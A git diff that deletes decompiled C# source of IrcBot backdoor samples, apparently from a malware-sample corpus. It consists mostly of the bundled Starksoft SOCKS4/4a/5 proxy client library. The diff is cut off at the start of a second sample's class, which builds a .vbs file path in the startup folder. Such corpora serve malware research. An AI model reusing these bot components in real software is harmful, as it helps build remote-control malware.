a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4ProxyClient.cs +++ /dev/null @@ -1,309 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.Socks4ProxyClient -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.ComponentModel; -using System.Globalization; -using System.Net; -using System.Net.Sockets; -using System.Text; -using System.Threading; - -namespace Starksoft.Net.Proxy -{ - public class Socks4ProxyClient : IProxyClient - { - private const int WAIT_FOR_DATA_INTERVAL = 50; - private const int WAIT_FOR_DATA_TIMEOUT = 15000; - private const string PROXY_NAME = "SOCKS4"; - internal const int SOCKS_PROXY_DEFAULT_PORT = 1080; - internal const byte SOCKS4_VERSION_NUMBER = 4; - internal const byte SOCKS4_CMD_CONNECT = 1; - internal const byte SOCKS4_CMD_BIND = 2; - internal const byte SOCKS4_CMD_REPLY_REQUEST_GRANTED = 90; - internal const byte SOCKS4_CMD_REPLY_REQUEST_REJECTED_OR_FAILED = 91; - internal const byte SOCKS4_CMD_REPLY_REQUEST_REJECTED_CANNOT_CONNECT_TO_IDENTD = 92; - internal const byte SOCKS4_CMD_REPLY_REQUEST_REJECTED_DIFFERENT_IDENTD = 93; - private TcpClient _tcpClient; - private string _proxyHost; - private int _proxyPort; - private string _proxyUserId; - private BackgroundWorker _asyncWorker; - private Exception _asyncException; - private bool _asyncCancelled; - - public Socks4ProxyClient() - { - } - - public Socks4ProxyClient(TcpClient tcpClient) => this._tcpClient = tcpClient != null ? tcpClient : throw new ArgumentNullException(nameof (tcpClient)); - - public Socks4ProxyClient(string proxyHost, string proxyUserId) - { - if (string.IsNullOrEmpty(proxyHost)) - throw new ArgumentNullException(nameof (proxyHost)); - if (proxyUserId == null) - throw new ArgumentNullException(nameof (proxyUserId)); - this._proxyHost = proxyHost; - this._proxyPort = 1080; - this._proxyUserId = proxyUserId; - } - - public Socks4ProxyClient(string proxyHost, int proxyPort, string proxyUserId) - { - if (string.IsNullOrEmpty(proxyHost)) - throw new ArgumentNullException(nameof (proxyHost)); - if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue) - throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535"); - if (proxyUserId == null) - throw new ArgumentNullException(nameof (proxyUserId)); - this._proxyHost = proxyHost; - this._proxyPort = proxyPort; - this._proxyUserId = proxyUserId; - } - - public Socks4ProxyClient(string proxyHost) - { - this._proxyHost = !string.IsNullOrEmpty(proxyHost) ? proxyHost : throw new ArgumentNullException(nameof (proxyHost)); - this._proxyPort = 1080; - } - - public Socks4ProxyClient(string proxyHost, int proxyPort) - { - if (string.IsNullOrEmpty(proxyHost)) - throw new ArgumentNullException(nameof (proxyHost)); - if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue) - throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535"); - this._proxyHost = proxyHost; - this._proxyPort = proxyPort; - } - - public string ProxyHost - { - get => this._proxyHost; - set => this._proxyHost = value; - } - - public int ProxyPort - { - get => this._proxyPort; - set => this._proxyPort = value; - } - - public virtual string ProxyName => "SOCKS4"; - - public string ProxyUserId - { - get => this._proxyUserId; - set => this._proxyUserId = value; - } - - public TcpClient TcpClient - { - get => this._tcpClient; - set => this._tcpClient = value; - } - - public TcpClient CreateConnection(string destinationHost, int destinationPort) - { - if (string.IsNullOrEmpty(destinationHost)) - throw new ArgumentNullException(nameof (destinationHost)); - if (destinationPort > 0) - { - if (destinationPort <= (int) ushort.MaxValue) - { - try - { - if (this._tcpClient == null) - { - if (string.IsNullOrEmpty(this._proxyHost)) - throw new ProxyException("ProxyHost property must contain a value."); - if (this._proxyPort <= 0 || this._proxyPort > (int) ushort.MaxValue) - throw new ProxyException("ProxyPort value must be greater than zero and less than 65535"); - this._tcpClient = new TcpClient(); - this._tcpClient.Connect(this._proxyHost, this._proxyPort); - } - this.SendCommand(this._tcpClient.GetStream(), (byte) 1, destinationHost, destinationPort, this._proxyUserId); - return this._tcpClient; - } - catch (Exception ex) - { - throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Connection to proxy host {0} on port {1} failed.", new object[2] - { - (object) Utils.GetHost(this._tcpClient), - (object) Utils.GetPort(this._tcpClient) - }), ex); - } - } - } - throw new ArgumentOutOfRangeException(nameof (destinationPort), "port must be greater than zero and less than 65535"); - } - - internal virtual void SendCommand( - NetworkStream proxy, - byte command, - string destinationHost, - int destinationPort, - string userId) - { - if (userId == null) - userId = ""; - byte[] ipAddressBytes = this.GetIPAddressBytes(destinationHost); - byte[] destinationPortBytes = this.GetDestinationPortBytes(destinationPort); - byte[] bytes = Encoding.ASCII.GetBytes(userId); - byte[] buffer = new byte[9 + bytes.Length]; - buffer[0] = (byte) 4; - buffer[1] = command; - destinationPortBytes.CopyTo((Array) buffer, 2); - ipAddressBytes.CopyTo((Array) buffer, 4); - bytes.CopyTo((Array) buffer, 8); - buffer[8 + bytes.Length] = (byte) 0; - proxy.Write(buffer, 0, buffer.Length); - this.WaitForData(proxy); - byte[] numArray = new byte[8]; - proxy.Read(numArray, 0, 8); - if (numArray[1] == (byte) 90) - return; - this.HandleProxyCommandError(numArray, destinationHost, destinationPort); - } - - internal byte[] GetIPAddressBytes(string destinationHost) - { - IPAddress address = (IPAddress) null; - if (!IPAddress.TryParse(destinationHost, out address)) - { - try - { - address = Dns.GetHostEntry(destinationHost).AddressList[0]; - } - catch (Exception ex) - { - throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "A error occurred while attempting to DNS resolve the host name {0}.", new object[1] - { - (object) destinationHost - }), ex); - } - } - return address.GetAddressBytes(); - } - - internal byte[] GetDestinationPortBytes(int value) => new byte[2] - { - Convert.ToByte(value / 256), - Convert.ToByte(value % 256) - }; - - internal void HandleProxyCommandError( - byte[] response, - string destinationHost, - int destinationPort) - { - byte num = response != null ? response[1] : throw new ArgumentNullException(nameof (response)); - byte[] address = new byte[4]; - for (int index = 0; index < 4; ++index) - address[index] = response[index + 4]; - IPAddress ipAddress = new IPAddress(address); - short int16 = BitConverter.ToInt16(new byte[2] - { - response[3], - response[2] - }, 0); - string str; - switch (num) - { - case 91: - str = "connection request was rejected or failed"; - break; - case 92: - str = "connection request was rejected because SOCKS destination cannot connect to identd on the client"; - break; - case 93: - str = "connection request rejected because the client program and identd report different user-ids"; - break; - default: - str = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "proxy client received an unknown reply with the code value '{0}' from the proxy destination", new object[1] - { - (object) num.ToString((IFormatProvider) CultureInfo.InvariantCulture) - }); - break; - } - throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "The {0} concerning destination host {1} port number {2}. The destination reported the host as {3} port {4}.", (object) str, (object) destinationHost, (object) destinationPort, (object) ipAddress.ToString(), (object) int16.ToString((IFormatProvider) CultureInfo.InvariantCulture))); - } - - internal void WaitForData(NetworkStream stream) - { - int num = 0; - while (!stream.DataAvailable) - { - Thread.Sleep(50); - num += 50; - if (num > 15000) - throw new ProxyException("A timeout while waiting for the proxy destination to respond."); - } - } - - public bool IsBusy => this._asyncWorker != null && this._asyncWorker.IsBusy; - - public bool IsAsyncCancelled => this._asyncCancelled; - - public void CancelAsync() - { - if (this._asyncWorker == null || this._asyncWorker.CancellationPending || !this._asyncWorker.IsBusy) - return; - this._asyncCancelled = true; - this._asyncWorker.CancelAsync(); - } - - private void CreateAsyncWorker() - { - if (this._asyncWorker != null) - this._asyncWorker.Dispose(); - this._asyncException = (Exception) null; - this._asyncWorker = (BackgroundWorker) null; - this._asyncCancelled = false; - this._asyncWorker = new BackgroundWorker(); - } - - public event EventHandler CreateConnectionAsyncCompleted; - - public void CreateConnectionAsync(string destinationHost, int destinationPort) - { - if (this._asyncWorker != null && this._asyncWorker.IsBusy) - throw new InvalidOperationException("The Socks4/4a object is already busy executing another asynchronous operation. You can only execute one asychronous method at a time."); - this.CreateAsyncWorker(); - this._asyncWorker.WorkerSupportsCancellation = true; - this._asyncWorker.DoWork += new DoWorkEventHandler(this.CreateConnectionAsync_DoWork); - this._asyncWorker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.CreateConnectionAsync_RunWorkerCompleted); - this._asyncWorker.RunWorkerAsync((object) new object[2] - { - (object) destinationHost, - (object) destinationPort - }); - } - - private void CreateConnectionAsync_DoWork(object sender, DoWorkEventArgs e) - { - try - { - object[] objArray = (object[]) e.Argument; - e.Result = (object) this.CreateConnection((string) objArray[0], (int) objArray[1]); - } - catch (Exception ex) - { - this._asyncException = ex; - } - } - - private void CreateConnectionAsync_RunWorkerCompleted( - object sender, - RunWorkerCompletedEventArgs e) - { - if (this.CreateConnectionAsyncCompleted == null) - return; - this.CreateConnectionAsyncCompleted((object) this, new CreateConnectionAsyncCompletedEventArgs(this._asyncException, this._asyncCancelled, (TcpClient) e.Result)); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4aProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4aProxyClient.cs deleted file mode 100644 index 9fe45dcd..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4aProxyClient.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.Socks4aProxyClient -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Net.Sockets; -using System.Text; - -namespace Starksoft.Net.Proxy -{ - public class Socks4aProxyClient : Socks4ProxyClient - { - private const string PROXY_NAME = "SOCKS4a"; - - public Socks4aProxyClient() - { - } - - public Socks4aProxyClient(TcpClient tcpClient) - : base(tcpClient) - { - } - - public Socks4aProxyClient(string proxyHost, string proxyUserId) - : base(proxyHost, proxyUserId) - { - } - - public Socks4aProxyClient(string proxyHost, int proxyPort, string proxyUserId) - : base(proxyHost, proxyPort, proxyUserId) - { - } - - public Socks4aProxyClient(string proxyHost) - : base(proxyHost) - { - } - - public Socks4aProxyClient(string proxyHost, int proxyPort) - : base(proxyHost, proxyPort) - { - } - - public override string ProxyName => "SOCKS4a"; - - internal override void SendCommand( - NetworkStream proxy, - byte command, - string destinationHost, - int destinationPort, - string userId) - { - if (userId == null) - userId = ""; - byte[] numArray1 = new byte[4] - { - (byte) 0, - (byte) 0, - (byte) 0, - (byte) 1 - }; - byte[] destinationPortBytes = this.GetDestinationPortBytes(destinationPort); - byte[] bytes1 = Encoding.ASCII.GetBytes(userId); - byte[] bytes2 = Encoding.ASCII.GetBytes(destinationHost); - byte[] buffer = new byte[10 + bytes1.Length + bytes2.Length]; - buffer[0] = (byte) 4; - buffer[1] = command; - destinationPortBytes.CopyTo((Array) buffer, 2); - numArray1.CopyTo((Array) buffer, 4); - bytes1.CopyTo((Array) buffer, 8); - buffer[8 + bytes1.Length] = (byte) 0; - bytes2.CopyTo((Array) buffer, 9 + bytes1.Length); - buffer[9 + bytes1.Length + bytes2.Length] = (byte) 0; - proxy.Write(buffer, 0, buffer.Length); - this.WaitForData(proxy); - byte[] numArray2 = new byte[8]; - proxy.Read(numArray2, 0, 8); - if (numArray2[1] == (byte) 90) - return; - this.HandleProxyCommandError(numArray2, destinationHost, destinationPort); - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks5ProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks5ProxyClient.cs deleted file mode 100644 index 6660ac1b..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks5ProxyClient.cs +++ /dev/null @@ -1,437 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.Socks5ProxyClient -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.ComponentModel; -using System.Globalization; -using System.Net; -using System.Net.Sockets; -using System.Text; - -namespace Starksoft.Net.Proxy -{ - public class Socks5ProxyClient : IProxyClient - { - private const string PROXY_NAME = "SOCKS5"; - private const int SOCKS5_DEFAULT_PORT = 1080; - private const byte SOCKS5_VERSION_NUMBER = 5; - private const byte SOCKS5_RESERVED = 0; - private const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2; - private const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0; - private const byte SOCKS5_AUTH_METHOD_GSSAPI = 1; - private const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 2; - private const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 3; - private const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 127; - private const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 128; - private const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 254; - private const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 255; - private const byte SOCKS5_CMD_CONNECT = 1; - private const byte SOCKS5_CMD_BIND = 2; - private const byte SOCKS5_CMD_UDP_ASSOCIATE = 3; - private const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0; - private const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 1; - private const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 2; - private const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 3; - private const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 4; - private const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 5; - private const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 6; - private const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 7; - private const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 8; - private const byte SOCKS5_ADDRTYPE_IPV4 = 1; - private const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 3; - private const byte SOCKS5_ADDRTYPE_IPV6 = 4; - private string _proxyHost; - private int _proxyPort; - private string _proxyUserName; - private string _proxyPassword; - private Socks5ProxyClient.SocksAuthentication _proxyAuthMethod; - private TcpClient _tcpClient; - private BackgroundWorker _asyncWorker; - private Exception _asyncException; - private bool _asyncCancelled; - - public Socks5ProxyClient() - { - } - - public Socks5ProxyClient(TcpClient tcpClient) => this._tcpClient = tcpClient != null ? tcpClient : throw new ArgumentNullException(nameof (tcpClient)); - - public Socks5ProxyClient(string proxyHost) - { - this._proxyHost = !string.IsNullOrEmpty(proxyHost) ? proxyHost : throw new ArgumentNullException(nameof (proxyHost)); - this._proxyPort = 1080; - } - - public Socks5ProxyClient(string proxyHost, int proxyPort) - { - if (string.IsNullOrEmpty(proxyHost)) - throw new ArgumentNullException(nameof (proxyHost)); - if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue) - throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535"); - this._proxyHost = proxyHost; - this._proxyPort = proxyPort; - } - - public Socks5ProxyClient(string proxyHost, string proxyUserName, string proxyPassword) - { - if (string.IsNullOrEmpty(proxyHost)) - throw new ArgumentNullException(nameof (proxyHost)); - if (proxyUserName == null) - throw new ArgumentNullException(nameof (proxyUserName)); - if (proxyPassword == null) - throw new ArgumentNullException(nameof (proxyPassword)); - this._proxyHost = proxyHost; - this._proxyPort = 1080; - this._proxyUserName = proxyUserName; - this._proxyPassword = proxyPassword; - } - - public Socks5ProxyClient( - string proxyHost, - int proxyPort, - string proxyUserName, - string proxyPassword) - { - if (string.IsNullOrEmpty(proxyHost)) - throw new ArgumentNullException(nameof (proxyHost)); - if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue) - throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535"); - if (proxyUserName == null) - throw new ArgumentNullException(nameof (proxyUserName)); - if (proxyPassword == null) - throw new ArgumentNullException(nameof (proxyPassword)); - this._proxyHost = proxyHost; - this._proxyPort = proxyPort; - this._proxyUserName = proxyUserName; - this._proxyPassword = proxyPassword; - } - - public string ProxyHost - { - get => this._proxyHost; - set => this._proxyHost = value; - } - - public int ProxyPort - { - get => this._proxyPort; - set => this._proxyPort = value; - } - - public string ProxyName => "SOCKS5"; - - public string ProxyUserName - { - get => this._proxyUserName; - set => this._proxyUserName = value; - } - - public string ProxyPassword - { - get => this._proxyPassword; - set => this._proxyPassword = value; - } - - public TcpClient TcpClient - { - get => this._tcpClient; - set => this._tcpClient = value; - } - - public TcpClient CreateConnection(string destinationHost, int destinationPort) - { - if (string.IsNullOrEmpty(destinationHost)) - throw new ArgumentNullException(nameof (destinationHost)); - if (destinationPort > 0) - { - if (destinationPort <= (int) ushort.MaxValue) - { - try - { - if (this._tcpClient == null) - { - if (string.IsNullOrEmpty(this._proxyHost)) - throw new ProxyException("ProxyHost property must contain a value."); - if (this._proxyPort <= 0 || this._proxyPort > (int) ushort.MaxValue) - throw new ProxyException("ProxyPort value must be greater than zero and less than 65535"); - this._tcpClient = new TcpClient(); - this._tcpClient.Connect(this._proxyHost, this._proxyPort); - } - this.DetermineClientAuthMethod(); - this.NegotiateServerAuthMethod(); - this.SendCommand((byte) 1, destinationHost, destinationPort); - return this._tcpClient; - } - catch (Exception ex) - { - throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Connection to proxy host {0} on port {1} failed.", new object[2] - { - (object) Utils.GetHost(this._tcpClient), - (object) Utils.GetPort(this._tcpClient) - }), ex); - } - } - } - throw new ArgumentOutOfRangeException(nameof (destinationPort), "port must be greater than zero and less than 65535"); - } - - private void DetermineClientAuthMethod() - { - if (this._proxyUserName != null && this._proxyPassword != null) - this._proxyAuthMethod = Socks5ProxyClient.SocksAuthentication.UsernamePassword; - else - this._proxyAuthMethod = Socks5ProxyClient.SocksAuthentication.None; - } - - private void NegotiateServerAuthMethod() - { - NetworkStream stream = this._tcpClient.GetStream(); - byte[] buffer1 = new byte[4] - { - (byte) 5, - (byte) 2, - (byte) 0, - (byte) 2 - }; - stream.Write(buffer1, 0, buffer1.Length); - byte[] buffer2 = new byte[2]; - stream.Read(buffer2, 0, buffer2.Length); - byte num = buffer2[1]; - if (num == byte.MaxValue) - { - this._tcpClient.Close(); - throw new ProxyException("The proxy destination does not accept the supported proxy client authentication methods."); - } - if (num == (byte) 2 && this._proxyAuthMethod == Socks5ProxyClient.SocksAuthentication.None) - { - this._tcpClient.Close(); - throw new ProxyException("The proxy destination requires a username and password for authentication."); - } - if (num != (byte) 2) - return; - byte[] destinationArray = new byte[this._proxyUserName.Length + this._proxyPassword.Length + 3]; - destinationArray[0] = (byte) 5; - destinationArray[1] = (byte) this._proxyUserName.Length; - Array.Copy((Array) Encoding.ASCII.GetBytes(this._proxyUserName), 0, (Array) destinationArray, 2, this._proxyUserName.Length); - destinationArray[this._proxyUserName.Length + 2] = (byte) this._proxyPassword.Length; - Array.Copy((Array) Encoding.ASCII.GetBytes(this._proxyPassword), 0, (Array) destinationArray, this._proxyUserName.Length + 3, this._proxyPassword.Length); - } - - private byte GetDestAddressType(string host) - { - IPAddress address = (IPAddress) null; - if (!IPAddress.TryParse(host, out address)) - return 3; - switch (address.AddressFamily) - { - case AddressFamily.InterNetwork: - return 1; - case AddressFamily.InterNetworkV6: - return 4; - default: - throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "The host addess {0} of type '{1}' is not a supported address type. The supported types are InterNetwork and InterNetworkV6.", new object[2] - { - (object) host, - (object) System.Enum.GetName(typeof (AddressFamily), (object) address.AddressFamily) - })); - } - } - - private byte[] GetDestAddressBytes(byte addressType, string host) - { - switch (addressType) - { - case 1: - case 4: - return IPAddress.Parse(host).GetAddressBytes(); - case 3: - byte[] destAddressBytes = new byte[host.Length + 1]; - destAddressBytes[0] = Convert.ToByte(host.Length); - Encoding.ASCII.GetBytes(host).CopyTo((Array) destAddressBytes, 1); - return destAddressBytes; - default: - return (byte[]) null; - } - } - - private byte[] GetDestPortBytes(int value) => new byte[2] - { - Convert.ToByte(value / 256), - Convert.ToByte(value % 256) - }; - - private void SendCommand(byte command, string destinationHost, int destinationPort) - { - NetworkStream stream = this._tcpClient.GetStream(); - byte destAddressType = this.GetDestAddressType(destinationHost); - byte[] destAddressBytes = this.GetDestAddressBytes(destAddressType, destinationHost); - byte[] destPortBytes = this.GetDestPortBytes(destinationPort); - byte[] buffer = new byte[4 + destAddressBytes.Length + 2]; - buffer[0] = (byte) 5; - buffer[1] = command; - buffer[2] = (byte) 0; - buffer[3] = destAddressType; - destAddressBytes.CopyTo((Array) buffer, 4); - destPortBytes.CopyTo((Array) buffer, 4 + destAddressBytes.Length); - stream.Write(buffer, 0, buffer.Length); - byte[] numArray = new byte[(int) byte.MaxValue]; - stream.Read(numArray, 0, numArray.Length); - if (numArray[1] == (byte) 0) - return; - this.HandleProxyCommandError(numArray, destinationHost, destinationPort); - } - - private void HandleProxyCommandError( - byte[] response, - string destinationHost, - int destinationPort) - { - byte num1 = response[1]; - byte num2 = response[3]; - string str1 = ""; - short num3 = 0; - switch (num2) - { - case 1: - byte[] address1 = new byte[4]; - for (int index = 0; index < 4; ++index) - address1[index] = response[index + 4]; - str1 = new IPAddress(address1).ToString(); - num3 = BitConverter.ToInt16(new byte[2] - { - response[9], - response[8] - }, 0); - break; - case 3: - int int32 = Convert.ToInt32(response[4]); - byte[] bytes = new byte[int32]; - for (int index = 0; index < int32; ++index) - bytes[index] = response[index + 5]; - str1 = Encoding.ASCII.GetString(bytes); - num3 = BitConverter.ToInt16(new byte[2] - { - response[6 + int32], - response[5 + int32] - }, 0); - break; - case 4: - byte[] address2 = new byte[16]; - for (int index = 0; index < 16; ++index) - address2[index] = response[index + 4]; - str1 = new IPAddress(address2).ToString(); - num3 = BitConverter.ToInt16(new byte[2] - { - response[21], - response[20] - }, 0); - break; - } - string str2; - switch (num1) - { - case 1: - str2 = "a general socks destination failure occurred"; - break; - case 2: - str2 = "the connection is not allowed by proxy destination rule set"; - break; - case 3: - str2 = "the network was unreachable"; - break; - case 4: - str2 = "the host was unreachable"; - break; - case 5: - str2 = "the connection was refused by the remote network"; - break; - case 6: - str2 = "the time to live (TTL) has expired"; - break; - case 7: - str2 = "the command issued by the proxy client is not supported by the proxy destination"; - break; - case 8: - str2 = "the address type specified is not supported"; - break; - default: - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "that an unknown reply with the code value '{0}' was received by the destination", new object[1] - { - (object) num1.ToString((IFormatProvider) CultureInfo.InvariantCulture) - }); - break; - } - throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "The {0} concerning destination host {1} port number {2}. The destination reported the host as {3} port {4}.", (object) str2, (object) destinationHost, (object) destinationPort, (object) str1, (object) num3.ToString((IFormatProvider) CultureInfo.InvariantCulture))); - } - - public bool IsBusy => this._asyncWorker != null && this._asyncWorker.IsBusy; - - public bool IsAsyncCancelled => this._asyncCancelled; - - public void CancelAsync() - { - if (this._asyncWorker == null || this._asyncWorker.CancellationPending || !this._asyncWorker.IsBusy) - return; - this._asyncCancelled = true; - this._asyncWorker.CancelAsync(); - } - - private void CreateAsyncWorker() - { - if (this._asyncWorker != null) - this._asyncWorker.Dispose(); - this._asyncException = (Exception) null; - this._asyncWorker = (BackgroundWorker) null; - this._asyncCancelled = false; - this._asyncWorker = new BackgroundWorker(); - } - - public event EventHandler CreateConnectionAsyncCompleted; - - public void CreateConnectionAsync(string destinationHost, int destinationPort) - { - if (this._asyncWorker != null && this._asyncWorker.IsBusy) - throw new InvalidOperationException("The Socks4 object is already busy executing another asynchronous operation. You can only execute one asychronous method at a time."); - this.CreateAsyncWorker(); - this._asyncWorker.WorkerSupportsCancellation = true; - this._asyncWorker.DoWork += new DoWorkEventHandler(this.CreateConnectionAsync_DoWork); - this._asyncWorker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.CreateConnectionAsync_RunWorkerCompleted); - this._asyncWorker.RunWorkerAsync((object) new object[2] - { - (object) destinationHost, - (object) destinationPort - }); - } - - private void CreateConnectionAsync_DoWork(object sender, DoWorkEventArgs e) - { - try - { - object[] objArray = (object[]) e.Argument; - e.Result = (object) this.CreateConnection((string) objArray[0], (int) objArray[1]); - } - catch (Exception ex) - { - this._asyncException = ex; - } - } - - private void CreateConnectionAsync_RunWorkerCompleted( - object sender, - RunWorkerCompletedEventArgs e) - { - if (this.CreateConnectionAsyncCompleted == null) - return; - this.CreateConnectionAsyncCompleted((object) this, new CreateConnectionAsyncCompletedEventArgs(this._asyncException, this._asyncCancelled, (TcpClient) e.Result)); - } - - private enum SocksAuthentication - { - None, - UsernamePassword, - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Utils.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Utils.cs deleted file mode 100644 index 5a8c91dc..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Utils.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Starksoft.Net.Proxy.Utils -// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null -// MVID: 8F51F928-E1DB-4815-857F-7D580385B815 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe - -using System; -using System.Globalization; -using System.Net; -using System.Net.Sockets; - -namespace Starksoft.Net.Proxy -{ - internal static class Utils - { - internal static string GetHost(TcpClient client) - { - if (client == null) - throw new ArgumentNullException(nameof (client)); - string host = ""; - try - { - host = ((IPEndPoint) client.Client.RemoteEndPoint).Address.ToString(); - } - catch - { - } - return host; - } - - internal static string GetPort(TcpClient client) - { - if (client == null) - throw new ArgumentNullException(nameof (client)); - string port = ""; - try - { - port = ((IPEndPoint) client.Client.RemoteEndPoint).Port.ToString((IFormatProvider) CultureInfo.InvariantCulture); - } - catch - { - } - return port; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/A.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/A.cs deleted file mode 100644 index b1935985..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/A.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.A -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - public class A - { - [AccessedThroughProperty("B")] - private BackgroundWorker _B; - public static Process fj = new Process(); - private string u; - private string z; - - public A() - { - this.B = new BackgroundWorker(); - this.u = Application.StartupPath + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs"; - string q = 